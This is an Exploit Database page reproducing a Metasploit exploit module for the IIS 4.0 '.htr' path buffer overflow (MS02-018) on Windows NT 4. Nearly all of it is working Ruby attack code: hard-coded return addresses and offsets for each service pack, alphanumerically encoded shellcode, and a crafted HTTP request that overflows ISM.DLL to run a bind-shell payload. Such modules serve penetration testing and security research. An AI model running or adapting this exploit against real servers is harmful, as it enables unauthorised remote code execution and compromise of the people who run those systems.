Microsoft IIS 4.0 – ‘.htr’ Path Overflow (MS02-018) (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16468/

• ##
  # $Id: ms02_018_htr.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS 4.0 .HTR Path Overflow',
  			'Description'=> %q{
  					This exploits a buffer overflow in the ISAPI ISM.DLL used to
  				process HTR scripting in IIS 4.0. This module works against
  				Windows NT 4 Service Packs3, 4, and 5. The server will
  				continue to process requests until the payload being
  				executed has exited. If you've set EXITFUNC to 'seh', the
  				server will continue processing requests, but you will have
  				trouble terminating a bind shell. If you set EXITFUNC to
  				thread, the server will crash upon exit of the bind shell.
  				The payload is alpha-numerically encoded without a NOP sled
  				because otherwise the data gets mangled by the filters.
  			},
  			'Author' => [ 'stinko' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '1999-0874'],
  					[ 'OSVDB', '3325'],
  					[ 'BID', '307'],
  					[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
  					[ 'MSB', 'MS02-018'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 2048,
  					'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
  					['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
  					['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
  				],
  			'DisclosureDate' => 'Apr 10 2002',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		buf = 'X' * target['Rets'][0]
  		buf << [ target['Rets'][1] ].pack('V')
  		buf << payload.encoded
  
  		req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
  		print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
  		sock.put(req)
  		handler
  		disconnect
  	end
  
  end